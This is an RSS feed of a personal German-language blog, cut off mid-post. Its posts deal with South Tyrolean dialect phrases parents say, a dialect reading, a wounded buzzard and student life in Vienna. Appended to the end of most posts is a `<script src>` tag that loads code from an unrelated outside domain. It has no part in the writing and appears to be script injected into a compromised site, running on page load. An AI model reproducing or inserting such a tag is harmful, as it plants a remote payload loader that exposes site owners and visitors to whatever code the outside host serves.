<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>i be gan. &#187; südtirolerisch</title>
	<atom:link href="http://blog.ibegan.net/archives/tag/sudtirolerisch/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.ibegan.net</link>
	<description></description>
	<lastBuildDate>Fri, 06 Nov 2009 13:34:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Folge stets dem Elefanten.</title>
		<link>http://blog.ibegan.net/archives/167</link>
		<comments>http://blog.ibegan.net/archives/167#comments</comments>
		<pubDate>Sun, 09 Nov 2008 21:47:53 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[familie]]></category>
		<category><![CDATA[gesprächsfetzen]]></category>
		<category><![CDATA[hrhr]]></category>
		<category><![CDATA[südtirol]]></category>
		<category><![CDATA[südtirolerisch]]></category>

		<guid isPermaLink="false">http://blog.ibegan.net/?p=167</guid>
		<description><![CDATA[Heute, im Zuge valganscher Projektrecherche (hui!), fand ich nach langer Suche in einem altem Forum ein sehr dialektlastiges Posting meinerseits aus 2004 (!): eine Auflistung all jener Dinge, die die Eltern so zur Tochter sagen.
Das hier ist für all jene, die nach &#8220;südtirolerisch&#8221; googlen, hierher verwiesen werden &#8211; und dann nichts finden.
(psst! Südtiroler Dialekt Wörterbuch! [...]]]></description>
			<content:encoded><![CDATA[<p>Heute, im Zuge <a href="http://blog.val.bz/">val</a>ganscher Projektrecherche (hui!), fand ich nach langer Suche in einem altem Forum ein sehr dialektlastiges Posting meinerseits aus 2004 (!): eine Auflistung all jener Dinge, die die Eltern so zur Tochter sagen.</p>
<p>Das hier ist für all jene, die nach &#8220;südtirolerisch&#8221; googlen, hierher verwiesen werden &#8211; und dann nichts finden.<br />
(psst! <a href="http://oschpele.ritten.org/">Südtiroler Dialekt Wörterbuch</a>! weitersagen!)</p>
<p>(nach dem Klick, denn die Wurst ist ein bisschen hässlich.)</p>
<p><span id="more-167"></span></p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Wer nit mog, hot kopp&#8230;&#8221;</em> &#8211;&gt; &#8220;Wer nicht mag, hat gehabt&#8221;<br />
(Mein Vater, wenn eines der Kinder nicht auf die Aufforderung von seiten der Mutter/der Oma reagiert: <em>&#8220;Mogsch nix?&#8221;</em>)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Hot dr s Essen nit gschmeckt??&#8221; </em>&#8211;&gt; &#8220;Hat dir das Essen nicht geschmeckt??&#8221;<br />
(Wenn man sein Teller nicht ganz ratzeputz leer fegt oder sich der zweiten Beilage verweigert&#8230; den Unterton kennt ihr&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Kannsch nit uanmol, uan uanzigs mol still sein?&#8221;</em> &#8211;&gt; &#8220;Könntest du nicht einmal, ein einziges Mal still sein?&#8221;<br />
(Lange, lange Zeit der Standardsatz, wenn ich auch nur ein Wort von mir gegeben hab. Ich habs überlebt.)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Di Tir konn a nix drfiar&#8221;</em> &#8211;&gt; &#8220;Die Tür hat keine Schuld daran&#8221;<br />
(Wütendes Kind schlägt unschuldige Tür zu. Sich überlegen fühlende Autoritätsperson weiß nicht, wann es besser ist, nich noch eins drauf zulegen&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Und sou willsch du giahn?&#8221;</em> &#8211;&gt; &#8220;Und so willst du gehen/aus dem Haus?&#8221;<br />
(tja&#8230; bevor man aus dem Haus gehen darf, gibts immer die Qualitätskontrolle &#8211; die man nie besteht. Aber man geht trotzdem&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Leig dr a Jack/ an Polover un&#8230;&#8221;</em> analog zu <em> &#8220;Nimm eppes worms zum unleign mit!&#8221;</em> &#8211;&gt; &#8220;Zieh eine Jacke/einen Pullover an&#8230;&#8221; &#8211;&gt; &#8220;Nimm etwas Warmes zum anziehen mit!&#8221;<br />
(Zusatz zur Qualitätskontrolle)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;I sog dr, a sou bisch morgen holt verkiahlt&#8221;</em> &#8211;&gt; &#8220;Ich sag dir, morgen bist du dann krank/verkühlt&#8221;<br />
(Wenn man den Zusatz nicht befolgt, bzw., wenn man ein barfuß durchs Haus rennt bzw. ein T-Shirt trägt bzw. aus der Dusche kommt&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Willsch nit in Tata a bisi helfen giahn?&#8221;</em> &#8211;&gt; &#8220;Willst du nicht deinen Vater ein bisschen helfen gehen?&#8221;<br />
(Versucht mal bei mir zuhause fünf Minuten fern zu schauen/mit dem Computer zu spielen/ein Buch zu lesen&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Hosch du eigentlich nia eppes zu lernen&#8221;</em> &#8211;&gt; &#8220;Musst du denn nie lernen?&#8221;<br />
(selbe Situation wie oben&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Seit wenn mogschn du Gnocchi nimmer?!?&#8221;</em> &#8211;&gt; &#8220;Seit wann magst du denn keine Gnocchi mehr?&#8221;<br />
(Nie Mami! Nie! Ich mochte Gnocchi noch nie! Ich bin die mit den Spinatspazeln!)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Wiedr a Bett laar&#8230;&#8221;</em> &#8211;&gt; &#8220;Wieder ein Bett leer&#8230;&#8221;<br />
(Falls ihr Samstags oder Sonntags oder auch irgendwann mal in den Ferien einen älteren Herrn mit Schnauzer und einem Bauchumfang wie der Weihnachtsmann trefft&#8230; das ist mein Onkel&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Frog in Tata!&#8221;</em> &#8211;&gt; &#8220;Frag deinen Vater!&#8221;<br />
(Meine Mutter, damals, als ich sie noch fragen musste, ob ich ausgehen darf&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Hosch di Mama schun gfrog?&#8221; &#8211; &#8220;Jo&#8221; &#8211; &#8220;Wos hot se gsog?&#8221; &#8211; &#8220;Dass i di frogen soll&#8230;&#8221; &#8211; &#8220;Du, wenn du willsch&#8230; kimmsch holt nit zu spat&#8230;&#8221;</em> &#8211;&gt; &#8220;Hast du deine Mutter schon gefragt?&#8221; &#8211; &#8220;Ja&#8221; &#8211; &#8220;Was hat sie gesagt?&#8221; &#8211; &#8220;Dass ich dich fragen soll&#8230;&#8221; &#8211; &#8220;Tja, wenn du meinst&#8230; komm halt nicht zu spät&#8230;&#8221;<br />
(Mein Vater, zu dem mich meine Mutter damals immer geschickt hatte. Sie hat mich aber nur zu ihm geschickt, wenn sie nichts dagegen hatte&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Wiaviel Geld hoschn du?&#8221;</em> &#8211;&gt; &#8220;Wieviel Geld hast du denn?&#8221;<br />
(Seit ich nicht mehr frage, ob ich ausgehen darf&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Bisch dr sicher? I woas nit&#8230; I fohr iaz seit zwoa Johr mit den Auto, obr dasses an fünften Gong hott&#8230;&#8221;</em> &#8211;&gt; &#8220;Bist du dir sicher? Ich weiß nicht&#8230; Ich fahr jetzt seit zwei Jahren mit diesem Wagen, aber dass er einen fünften Gang hat&#8230;&#8221;<br />
(meine Mami&#8230; es ist fast eine Qual, neben ihr auf dem Beifahrersitz zu sitzen, das Auto heulen zu hören und nicht schalten zu dürfen. Da mutier ich immer zum schrecklichsten Beifahrer der Welt    )</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;I konn dei Bumm-Bumm-Musig nit hearn&#8230;&#8221;</em> &#8211;&gt; &#8220;Ich kann diese Bumm-Bumm-Bumm-Musik nicht hören&#8230;&#8221;<br />
(Egal welche Musik lief&#8230; heute haben wir den Hubert zum Autobeschaller erkoren, der ist allgemein akzeptiert&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Essen giahn!!&#8221;</em> (halbe Minute später:) <em>&#8220;Kemmpses indrgaling?!?&#8221;</em> &#8211;&gt; &#8220;Essen gehen!&#8221; &#8211; &#8220;Kommt ihr bald ein mal?&#8221;<br />
(Bei mir zuhause um fünf nach halb eins&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Unkennen tuat mon dr ober schun gor nit, dass schun </em>- variable Zahl von sechs bis vierundzwanzig einsetzen  (schlimme Sache &#8211; 24 ist noch keiner von uns)<em> &#8211; bisch&#8221;</em> &#8211;&gt; &#8220;Man merkt dir wirklich nicht an dass du &#8211; variable Zahl von sechs bis vierundzwanzig einsetzen bist&#8221;<br />
(immer, wenn ich oder eines meiner Geschwister sich nicht &#8220;altersadäquat&#8221; verhält&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;&#8230;Ach, Madl&#8230; oftramol&#8221; </em>(meine in der trotzig-pubertären Phase erarbeitete Antwort: <em>&#8220;Nit lei oftramol, Mama, ollm!&#8221;</em> kann sie immer noch zum Wahnsinn treiben&#8230;) &#8211;&gt; &#8220;&#8230;Ach Mädchen&#8230; manchmal&#8221; &#8211; &#8220;Nicht nur manchmal, Mama, immer!&#8221;<br />
(oft&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;I geah schnell an Sprung in die Stodt/zum Gärtner/afn Friedhouf&#8230;&#8221;</em> &#8211;&gt; &#8220;Ich mach schnell einen Sprung in die Stadt/zum Gärtner/ auf den Friedhof&#8230;&#8221;<br />
(ganz recht, meine Oma ist neunundsiebzig, aber springen tut sie immer noch. Achja, der Satz kommt, seit ich den Führerschein habe, vorwiegend an Regentagen oder im Winter&#8230; bei mir zu Hause steht man nicht so auf Direktheit&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Schworztee mocht schiache Zenn!!&#8221;</em> &#8211;&gt; &#8220;Schwarztee mach hässliche Zähne!!&#8221;<br />
(mein Lieblingsgetränk will man mir auch vermiesen)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Hosch ognummen/zuagnummen?&#8221;</em> &#8211;&gt; &#8220;Hast du abgenommen/zugenommen?&#8221;<br />
(meine Mutter: Ihre Wahrnehmung funktioniert je nach Lust und Laune)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Und, wia wor di Prüfung, dr Tescht??&#8221;</em> &#8211; egal was ich antworte: <em>&#8220;Hasch schun a a bisl meahr tian gekennt&#8221;</em> &#8211;&gt; &#8220;Und wie war die Prüfung, der Test??&#8221; &#8211;&gt; &#8220;Hättest schon ein bisschen mehr lernen können&#8221;<br />
(immer wenn obiges anfiel&#8230;, am liebsten beim Mittagessen, wenn ich grad zwei Minuten im Haus war und versucht habe, den letzten Rest Salat trotz Unmengen an Essig in meinem Mund zu behalten&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Du erzeihlsch nia eppes! I woas jo gor nix meahr vo dir&#8230;&#8221;</em> &#8211;&gt; &#8220;Du erzählst mir nie etwas! Ich weiß ja gar nichts mehr von dir&#8230;&#8221;<br />
(Meine Mami&#8230; wenn sie Lust hatte, mich beim Lesen zu stören&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Wos tuaschn in gonzn Tog mit der Troppel?&#8221;</em> &#8211;&gt; &#8220;Was machst du denn den ganzen Tag mit dieser &#8211; ähm &#8211; boh, weiß nicht, wie ich das passend übersetzen soll &#8211; &#8230;?&#8221;<br />
(egal ob Fernseher oder Computer oder zu alten Zeiten mal der Gameboy&#8230; )</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Willsch nit a longsom schlofn giahn?&#8221;</em> &#8211;&gt; &#8220;Willst du nicht auch langsam ins Bett?&#8221;"<br />
(abends, um halb zehn)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;I will nit, dass du dr in dr Kuchl di Händ owasch&#8230;&#8221;</em> &#8211;&gt; &#8220;Ich möchte nicht, dass du dir in der Küche die Hände wäschst&#8230;&#8221;<br />
(O-Ton Mami)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Na! Und i hon grod in Boudn gwischt!&#8221;</em> &#8211;&gt; &#8220;Nein! Der Boden ist frisch gewischt!&#8221;<br />
(Böses, böses Kind versucht sich durch Bewegen der Füße fortzubewegen! Böses Kind!)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Du kimmsch zu spat&#8221;</em> &#8211;&gt; &#8220;Du kommst zu spät&#8221;<br />
(dreizehn Jahre lang jeden morgen den selben Satz zu hören, prägt einen fürs Leben&#8230; Was glaubt ihr, warum ich ständig zu spät komme??)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Moch in Vorhong zua!&#8221;</em> &#8211;&gt;&#8221;Mach den Vorhang zu!&#8221;<br />
(Ist eine komplizierte Angelegenheit &#8211; der Vorhang darf nämlich erst dann zugezogen werden, wenn meine Mutter dieses Gefühl hat&#8230; Dieses Gefühl hat sie leider aber immer zu anderen Uhrzeiten, und will man eine nette Tochter sein, und den Vorhang zuziehen, bevor sie dieses Gefühl hat&#8230; wie gesagt, komplizierte Sache&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Ruth&#8230; och, Chrischtl&#8230;, gibsch mr bitte mol&#8230;&#8221;</em> &#8211;&gt; &#8220;Ruth&#8230; och, Christl&#8230;, gibst du mir bitte mal&#8230;&#8221;<br />
(Mein Name ist weder Ruth noch Christl, wohl aber sind das die Namen ihrer beiden kleinen Schwestern&#8230; Am schlimmsten ist es, wenn sie alle Namen durch hat, aber ihr nur der des gerade anwesenden Nachkommens nicht einfällt&#8230;)</p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em><em>und noch ein Highlight:</em></em></p>
<p style="text-align: justify; padding-left: 30px;font-size:7.5pt;"><em>&#8220;Dr Willi isch in Boch gfolln!&#8221;</em> &#8211; freches Kind antwortet völlig respektlos &#8211; <em>&#8220;Und dr Mogi hotn widr auserghoult!&#8221;</em> &#8211;&gt; &#8220;Der Willi(ch) ist in den Bach gefallen&#8221; &#8211; &#8220;Und der Magi(ch) hat ihn wieder rausgeholt!&#8221;<br />
(immer, wenn das freche Kind irgendetwas wollte/will (!), das im Kopf der Mutter jetzt total keinen Platz findet&#8230;</p>
<p>Ach, 2004, damals, als ich noch im 10m²-Heimzimmer mit den Ameisen wohnte, sehr sehr sehr jung war und die nächste große Entscheidung so weit in der Ferne lag. Ach.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ibegan.net/archives/167/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Der Brunnen, der am Abend raunt. (Gan liest)</title>
		<link>http://blog.ibegan.net/archives/5</link>
		<comments>http://blog.ibegan.net/archives/5#comments</comments>
		<pubDate>Sat, 29 Sep 2007 18:23:00 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[freunde]]></category>
		<category><![CDATA[herhören!]]></category>
		<category><![CDATA[südtirolerisch]]></category>

		<guid isPermaLink="false">http://blog.ibegan.net/?p=5</guid>
		<description><![CDATA[Gestern abend fiel mir plötzlich wieder ein, wie ich meiner kleinen Schwester Astrid Lindgrens Mio mein Mio aufgenommen habe, nur ich, meine seltsamen s-Laute, audacity, und mein halbkaputtes Mikrophon, und wie sie es, obwohl sie jetzt wirklich tief in der Pubertät steckt, immer noch liebt, und mich immer wieder daran erinnert, dass ich ihr noch [...]]]></description>
			<content:encoded><![CDATA[<p>Gestern abend fiel mir plötzlich wieder ein, wie ich meiner kleinen Schwester Astrid Lindgrens <em>Mio mein Mio</em> aufgenommen habe, nur ich, meine seltsamen s-Laute, <a href="http://audacity.sourceforge.net/">audacity</a>, und mein halbkaputtes Mikrophon, und wie sie es, obwohl sie jetzt wirklich tief in der Pubertät steckt, immer noch liebt, und mich immer wieder daran erinnert, dass ich ihr noch die letzen beiden Kapitel schulde, Mio also immer noch in der tiefsten Höhle im schwärzesten Berg sitzt, &#8211; ich habe mich also daran erinnert, und auch an einen Text von <a href="http://blog.val.bz/">Val</a>, den ich damals schon zauberhaft fand, wenn man zauberhaft sagen kann, also wunderschön, und dann saß ich da, mit audacity, meinem Mikrophon, und wollte lesen, und weil ich Mio nicht fand, habe ich Val gelesen, und weil sie und <a href="http://gabi203.twoday.net/">Gabi </a>mir einmal ein Buch geschenkt haben, mit dem Titel <a href="http://www.amazon.de/Himmel-%C3%BCber-Meran-Joseph-Zoderer/dp/3446206671/ref=sr_1_2/028-4304306-5872502?ie=UTF8&amp;s=books&amp;qid=1191015999&amp;sr=8-2">Der Himmel über Meran</a>, das zwar das Versprechen aus dem Titel nicht hielt, aber der Titel war fast ebenso zauberhaft, und dann las ich es wieder, ihr <a href="http://blog.val.bz/2005/11/19/der-himmel-ueber-wien">Der Himmel über Wien</a> &#8211; und wenn es funktioniert, dann kann man <a href="http://files-upload.com/files/528894/val_der%20himmel%20ueber%20wien.wav">hier </a>meine Stimme runterladen und hören, wie sie eben jenes Zauberhafte liest, mit meinem kleinen s- und sch-Fehler, aber&#8230; &#8211; ach hört doch einfach hin&#8230;</p>
<p>(Ich weiß, Peter Falk klingt anders.)</p>
<p><span style="font-size: 0.85em">(ich habe ja noch nicht auf Urheberrechtsprüfung am Mittwoch gelernt, deswegen die Frage: darf ich das?</span><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ibegan.net/archives/5/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>~</title>
		<link>http://blog.ibegan.net/archives/9</link>
		<comments>http://blog.ibegan.net/archives/9#comments</comments>
		<pubDate>Wed, 01 Aug 2007 08:18:28 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[bauernkind]]></category>
		<category><![CDATA[love is all around]]></category>
		<category><![CDATA[photo]]></category>
		<category><![CDATA[schreiben!]]></category>
		<category><![CDATA[südtirolerisch]]></category>

		<guid isPermaLink="false">http://blog.ibegan.net/?p=9</guid>
		<description><![CDATA[Und dann war da noch der Wespenbussard, der sich irgendwie sein Bein gebrochen hatte, und mit diesem seinem gebrochenen Bein nun auch nicht mehr fliegen konnte und also eine Nacht unter strömender Beregnung (gräulich-grünes Etschwasser durch Eisenrohre gedrückt, das mit einem t-t-t-t auf lebende Kapitalanlagen niederregnet) am Boden verbringen musste, durchnässt und halbblind wohl nur [...]]]></description>
			<content:encoded><![CDATA[<p>Und dann war da noch der Wespenbussard, der sich irgendwie sein Bein gebrochen hatte, und mit diesem seinem gebrochenen Bein nun auch nicht mehr fliegen konnte und also eine Nacht unter strömender Beregnung (gräulich-grünes Etschwasser durch Eisenrohre gedrückt, das mit einem t-t-t-t auf lebende Kapitalanlagen niederregnet) am Boden verbringen musste, durchnässt und halbblind wohl nur mehr auf den Tod wartend. Am Morgen sang ein Spatz über seinem Bett, und er wurde <a href="http://www.flickr.com/photos/gananarama/954251283/">ge</a>funden, statt dem Tod kam ein Tierarzt und er ins Vogelschutzzentrum, wo er gesund gepflegt werden, auf dass der Spatz für seine Kühnheit bezahlen soll. Dann war da aber auch noch das junge Huhn (Küken, besser gesagt, aber Küken ist so ein unschönes Wort, Küken klingt nach <em>Hanni und Nanni</em>-Büchern, in denen der neue Deutschlehrer, für den die Mädchen schwärmen, sie als Küken bezeichnet, natürlich nicht im persönlichen Gespräch, sondern bei einer Unterhaltung mit seiner Freundin, auf die die Mädchen unglaublich eifersüchtig sind, wobei sie dies nur hören, weil sie eben den jungen Deutschlehrer und seine Freundin verfolgen und belauschen, aber trotzdem sind sie sehr entrüstet über dies Wort, Küken, Küken!), <em>Pisele </em>heißt sowas ja bei uns, weiß, eine Henne, drei Wochen alt, und immer schon kleiner als seine Geschwister, das zwei Tage lang keuchend durch den Hof rannte, aufhörte, sich zu putzen, und schließlich zu schwach war, um seiner Mutter zu folgen, und das dann am selben Morgen wie der Wespenbussard, ebenfalls gefunden, aber tot, und begraben wurde.</p>
<p>[und dann.]<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ibegan.net/archives/9/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title></title>
		<link>http://blog.ibegan.net/archives/19</link>
		<comments>http://blog.ibegan.net/archives/19#comments</comments>
		<pubDate>Sat, 09 Jun 2007 02:07:00 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[argh!]]></category>
		<category><![CDATA[südtirolerisch]]></category>
		<category><![CDATA[wien]]></category>

		<guid isPermaLink="false">http://blog.ibegan.net/?p=19</guid>
		<description><![CDATA[[WU-Studentinnen im Karopullunder, die sehr begeistert den Feuerwehrmannsalat (!) mit Tabasco (!!) oder Chilisauce (!!) bestellen. Und ihn dann nicht essen, weil er zu scharf ist.]
[Sich am Tisch mit lauter Österreichern schon ein wenig seltsam fühlen, besonders, wenn sie einen auf das eigene "Sch" hinweisen. Aus Trotz Wörter wie "schliafet" und "dechtersch" benutzen.]
[Und überhaupt.]
[file under: [...]]]></description>
			<content:encoded><![CDATA[<p>[WU-Studentinnen im Karopullunder, die sehr begeistert den <em>Feuerwehrmannsalat </em>(!) mit Tabasco (!!) oder Chilisauce (!!) bestellen. Und ihn dann nicht essen, weil er zu scharf ist.]</p>
<p>[Sich am Tisch mit lauter Österreichern schon ein wenig seltsam fühlen, besonders, wenn sie einen auf das eigene "Sch" hinweisen. Aus Trotz Wörter wie "schliafet" und "dechtersch" benutzen.]</p>
<p>[Und überhaupt.]</p>
<p>[file under: mehr eckige Klammern, viel mehr eckige Klammern!]<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ibegan.net/archives/19/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title></title>
		<link>http://blog.ibegan.net/archives/27</link>
		<comments>http://blog.ibegan.net/archives/27#comments</comments>
		<pubDate>Wed, 28 Mar 2007 01:20:35 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[argh!]]></category>
		<category><![CDATA[familie]]></category>
		<category><![CDATA[südtirolerisch]]></category>

		<guid isPermaLink="false">http://blog.ibegan.net/?p=27</guid>
		<description><![CDATA[Ich hätte jetzt gerne bitte meinen Kaffee, den ich am Sonntag nicht mehr austrinken konnte, weil ich schnell zu meinem Flieger musste.
(Flieger? KleinesPropellerflugzeugnamensTirol, nicht Flieger.
Und Kusinen, die einander beim versteckulus  fragen &#8220;Wie heißt du eigentlich?&#8221;.)
]]></description>
			<content:encoded><![CDATA[<p>Ich hätte jetzt gerne bitte meinen Kaffee, den ich am Sonntag nicht mehr austrinken konnte, weil ich schnell zu meinem Flieger musste.</p>
<p>(Flieger? KleinesPropellerflugzeugnamensTirol, nicht <em>Flieger</em>.<br />
Und Kusinen, die einander beim <em>versteckulus</em>  fragen &#8220;Wie heißt du eigentlich?&#8221;.)<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ibegan.net/archives/27/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Vom studentischen Leiden an Bagatellen, Begrifflichkeiten und  Bajuwaren</title>
		<link>http://blog.ibegan.net/archives/89</link>
		<comments>http://blog.ibegan.net/archives/89#comments</comments>
		<pubDate>Sat, 21 Jan 2006 04:40:52 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[argh!]]></category>
		<category><![CDATA[emo]]></category>
		<category><![CDATA[südtirolerisch]]></category>
		<category><![CDATA[uni]]></category>
		<category><![CDATA[wien]]></category>

		<guid isPermaLink="false">http://blog.ibegan.net/?p=89</guid>
		<description><![CDATA[Der Jänner. Dieses falsche Aas
schaut drein, als wäre er eigentlich ganz nett und unschuldig, schiebt den Dezember mit seinem Pudelmützchen und der roten Nase vor, baut noch schnell ein paar Wochen Ferien ein,
WettschwimmenderkleinenSchwesterbeiwowendlichLevelvierzig
unddamiteinFeuerpferdWeihnachtenMittagessenmitOmaAbendessen
beiderTanteSilvesterKaffeeundKuchenmitdergesamtenVerwandschaft
GeburtstagdesgroßenBrudersKlassentreffen, zuviel Punsch und Kekse und Wein und gutes Essen und Sekt und calcietto calcetto, du meinst alles ist gut und einfach und [...]]]></description>
			<content:encoded><![CDATA[<p>Der Jänner. Dieses falsche Aas<br />
schaut drein, als wäre er eigentlich ganz nett und unschuldig, schiebt den Dezember mit seinem Pudelmützchen und der roten Nase vor, baut noch schnell ein paar Wochen Ferien ein,</p>
<p>WettschwimmenderkleinenSchwesterbeiwowendlichLevelvierzig<br />
unddamiteinFeuerpferdWeihnachtenMittagessenmitOmaAbendessen<br />
beiderTanteSilvesterKaffeeundKuchenmitdergesamtenVerwandschaft<br />
GeburtstagdesgroßenBrudersKlassentreffen, zuviel Punsch und Kekse und Wein und gutes Essen und Sekt und <a href="http://static.twoday.net/gan/images/calcetto.jpg"><strike>calcietto</strike> calcetto</a>, du meinst alles ist gut und einfach und <em>ehkeinstress</em>, das geht dann schon noch&#8230;<br />
Du hast ihn vergessen, das ist seine Taktik, du sollst dich in Sicherheit wiegen, träumen und taumeln, er lässt sich dann auch noch sehr viel Zeit mit dem Anfangen, sehr viel Zeit &#8211; und dann ist er da, du sitzt schon wieder im Zug, und es haut dich nieder. Bumm.<br />
Schleppst dich am Boden nach Wien und bist sowieso schon antriebslos und ICHHABEKEINELUSTINDIEKÄLTERAUSZUGEHEN und frierst und ICHHASSEMEINENSTUNDENPLAN und lebst fast von Schwarztee und Äpfeln und Schokokeksen allein und die Bücher sind sooo schwer, meine Schrift sooo unleserlich, Publizistikstudenten sooo dumm, und du hast viel zu wenig Melatonin, dieSonneistwegundeswirdniemehrwarmwerdenniemehr, und dann sind da diese drei Wochen, die sich zum Ziel gesetzt haben, dich fertig zu machen, vulgo Jänner, denn danach hast du ja wieder Ferien, du faule Studentin, es sind doch nur drei Wochen, und du hast doch sicher was über die Weihnachtsferien getan &#8211; <em>Ja sicher habe ich das. Ich habe zum Beispiel ein paar Bücher nach Hause geschleppt, sie nicht aufgeschlagen, wieder eingepackt, weil doch Ferien, weil doch noch so lange Zeit und im Jänner pack ich das mit links, außerdem bin ich zu Hause&#8230; und calcetto!!</em></p>
<p>Jännerverdammtdumachstmichwahnsinnig</p>
<p>(und hab ich schon mal von meinen zehn Minuten Panik erzählt, als ein Bayer meinte, Jänner sei gar kein <em>echtes deutsches Wort</em>&#8230; Ich habe im Duden nachgeschaut, porzellana)</p>
<p>Jänner.</p>
<p>Januar.</p>
<p>seufz.</p>
<p>(thirteen days to go)<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ibegan.net/archives/89/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Frau spricht Deutsch.</title>
		<link>http://blog.ibegan.net/archives/108</link>
		<comments>http://blog.ibegan.net/archives/108#comments</comments>
		<pubDate>Thu, 17 Nov 2005 06:21:18 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[herhören!]]></category>
		<category><![CDATA[südtirolerisch]]></category>
		<category><![CDATA[uni]]></category>

		<guid isPermaLink="false">http://blog.ibegan.net/?p=108</guid>
		<description><![CDATA[Ich hab das ja schon immer behauptet. Doch obwohl ich im Besitz einer
Bescheinigung über die Sprachgruppenzugehörigkeit der DEUTSCHEN Sprachgruppe bin, hat es so manche Zweifler gegeben. &#8220;Dieser Wisch&#8221; so hieß es, &#8220;befähigt dich noch lange nicht zu einer perfekt glatten, schnittigen, allen verständlichen Sprechweise!&#8221;. Oder so ähnlich. Da mag der Fortis- und Lenisobstruentenexperte vielleicht recht [...]]]></description>
			<content:encoded><![CDATA[<p>Ich hab das ja schon immer behauptet. Doch obwohl ich im Besitz einer<br />
